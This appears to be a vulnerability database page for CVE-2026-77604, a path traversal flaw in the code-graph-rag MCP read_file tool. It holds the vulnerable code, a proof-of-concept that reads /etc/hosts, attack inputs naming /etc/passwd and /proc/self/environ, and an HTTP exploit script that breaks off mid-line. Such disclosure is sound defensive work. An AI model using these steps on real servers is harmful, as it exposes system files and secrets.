Skip to main content
VulnerabilityPublished

CVE-2026-77604: Code Graph RAG · MCP paginated read_file path traversal / arbitrary file read

Affects code-graph-ragSource GCVE Database

0
Compare
Authoritative record:CVE-2026-77604· High 7.5

Not known to be exploited · CVSS 7.5 High : upgrade to 0.0.345 soon.

Data as of 9 Nov 2026, 23:24 UTC

CVSS 3.1 base score
7.5High
How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none
CVSS scores by source
CNA (GitHub_M)CVSS 3.17.5
EPSS
0.3% chance of exploitation in 30 days – higher than 32% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 0.0.345
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 5 Nov 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 9 Nov 2026.

What to do

Upgrade code-graph-rag to 0.0.345.

Affected software

ProductAffectedFixed in
PyPIcode-graph-ragAffected
  • <0.0.345
Fixed in
  • 0.0.345

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary The `read_file` MCP tool in `codebase_rag/mcp/tools.py` contains a path traversal vulnerability in its paginated branch (when `offset` or `limit` is supplied). The handler constructs a file path using `Path(self.project_root) / file_path` without subsequently validating that the resolved path remains within the configured project root. Python's `pathlib` silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as `/etc/passwd`. ### Details **Vulnerable location:** `codebase_rag/mcp/tools.py:556–565` (`MCPToolsRegistry.read_file`) The `read_file` MCP tool accepts three parameters: `file_path`, `offset`, and `limit`. When either `offset` or `limit` is present the handler takes a distinct code path: ```python # codebase_rag/mcp/tools.py:556-565 async def read_file( self, file_path: str, offset: int | None = None, limit: int | None = None ) -> str: logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit)) try: if offset is not None or limit is not None: full_path = Path(self.project_root) / file_path # ← VULNERABLE LINE start = offset if offset is not None else 0 with open(full_path, encoding=cs.ENCODING_UTF8) as f: # ← SINK ``` Because `pathlib.Path.__truediv__` replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., `/etc/passwd`, `/proc/self/environ`) causes `full_path` to point outside the project root. The **non-paginated** branch is protected by the `@validate_project_path` decorator (applied via `codebase_rag/tools/file_reader.py:27`) which performs `.resolve().relative_to(project_root)` (`codebase_rag/decorators.py:73–75`), but this decorator is never invoked in the paginated branch, leaving it completely unguarded. **Full data-flow (source → sink):** 1. `codebase_rag/config.py:302` — HTTP MCP default host is `0.0.0.0`. 2. `codebase_rag/cli.py:717` — CLI exposes `mcp-server`. 3. `codebase_rag/cli.py:726–731` — `--transport http` invokes `serve_http(host=resolved_host, port=resolved_port)`. 4. `codebase_rag/mcp/server.py:208–210` — Starlette mounts the MCP HTTP endpoint. 5. `codebase_rag/mcp/tools.py:227–249` — `read_file` is registered as an MCP tool accepting attacker-controlled `file_path`, `offset`, and `limit`. 6. `codebase_rag/mcp/server.py:113–127` — `call_tool` dispatches JSON arguments directly to the handler via `await handler(**arguments)`. 7. `codebase_rag/mcp/tools.py:561–565` — paginated branch builds `full_path` and calls `open(full_path)` without any boundary check. The vulnerability is also present when using the `stdio` transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured. ### PoC **Prerequisites:** - Docker installed. - Repository cloned with the `vuln-001/` artifacts present (Dockerfile, poc.py). **Build and run:** ```bash # From the repository root (parent of vuln-001/) docker build -t vuln001-poc -f vuln-001/Dockerfile . docker run --rm vuln001-poc ``` The Dockerfile installs the `codebase_rag` package from the local repository source, creates a "safe" project root at `/tmp/safe-project-root`, and runs `poc.py`. **What the PoC does (`poc.py`):** 1. Pre-mocks the `mgclient` / `pymgclient` native C extensions (Memgraph client) so the package imports without a live database. 2. Instantiates `MCPToolsRegistry` via `object.__new__()`, setting only `self.project_root = "/tmp/safe-project-root"` — matching what the real server does. 3. Demonstrates the pathlib bypass: `Path("/tmp/safe-project-root") / "/etc/hosts"` resolves to `Path("/etc/hosts")`. 4. Calls `registry.read_file("/etc/hosts", offset=0, limit=5)` — the actual vulnerable method from the installed package. 5. Asserts that real `/etc/hosts` content is returned, confirming full boundary bypass. **Expected output:** ``` [MCP] read_file: /etc/hosts (offset=0, limit=5) [+] CONFIRMED: pathlib discards project_root when file_path is absolute [+] read_file() returned: # Lines 1-5 of 7 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00:: ip6-localnet ff00:: ip6-mcastprefix ff02::1 ip6-allnodes [+] EXPLOIT SUCCESSFUL [+] Content of '/etc/hosts' exfiltrated via path traversal [+] Project root boundary '/tmp/safe-project-root' was completely bypassed [+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal ``` **Equivalent HTTP transport attack (when server is running):** ```bash python3 - <<'PY' import anyio from mcp import ClientSession from mcp.client.streamable_http import streamablehttp_client async def main(): async with streamablehttp_client("http://127.0.0.1:8080/mcp") as (read, write, _): async with ClientSession(read, write) as session: await session.i

References

Community reviews

Loading reviews…